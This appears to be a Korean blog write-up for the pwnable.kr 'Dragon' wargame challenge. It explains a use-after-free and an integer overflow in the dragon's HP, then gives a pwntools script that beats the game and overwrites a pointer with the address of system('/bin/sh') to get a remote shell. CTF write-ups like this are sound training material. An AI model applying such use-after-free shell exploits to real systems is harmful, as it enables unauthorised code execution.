본문 바로가기

Wargame/▷ pwnable.kr

[pwnable.kr] Dragon

Pwnable.kr Dragon


해당 문제에서 봐야할 부분은 아래 코드들 입니다.


해당 프로그램은 용과 싸워서 이기는 게임입니다

드래곤, 전사 의 data를 0x10만큼 malloc 해주면서 사용하고 있는데 해당 데이터를 쓰고 free할 때 초기화 해주지 않고 성공문에서 malloc(0x10)를 똑같이 해주기 때문에 uaf 취약점이 발생합니다.

일단 성공문으로 가려면 드래곤과 싸워 이겨야 합니다.

드래곤은 엄마 용, 전사는 성직자 일 때 피를 깎아 이길 순 없지만 엄마용의 HP는 127를 넘어가게 되면 인티저 오버플로우가 일어나기 때문에 무적기와 마나 회복으로 버티면 이기게 됩니다.

 

System(“/bin/sh”) address = 0x8048DBF

from pwn import *

#p = process('./dragon')
p = remote('pwnable.kr', 9004)

p.sendlineafter('Knight\n', '2')
p.sendlineafter('HP.\n', '2')

p.sendlineafter('Knight\n', '1')

for i in range(4):
	p.sendlineafter('ble.\n', '3')
	p.sendlineafter('ble.\n', '3')
	p.sendlineafter('ble.\n', '2')

p.sendlineafter(':', '\xBF\x8D\x04\x08')
p.interactive()


'Wargame > ▷ pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2018.07.20
[pwnable.kr] unexploitable  (0) 2018.07.08
[pwnable.kr] simple login  (0) 2018.07.08
[pwnable.kr] passcode  (0) 2018.03.05
[pwnable.kr] flag  (0) 2018.01.31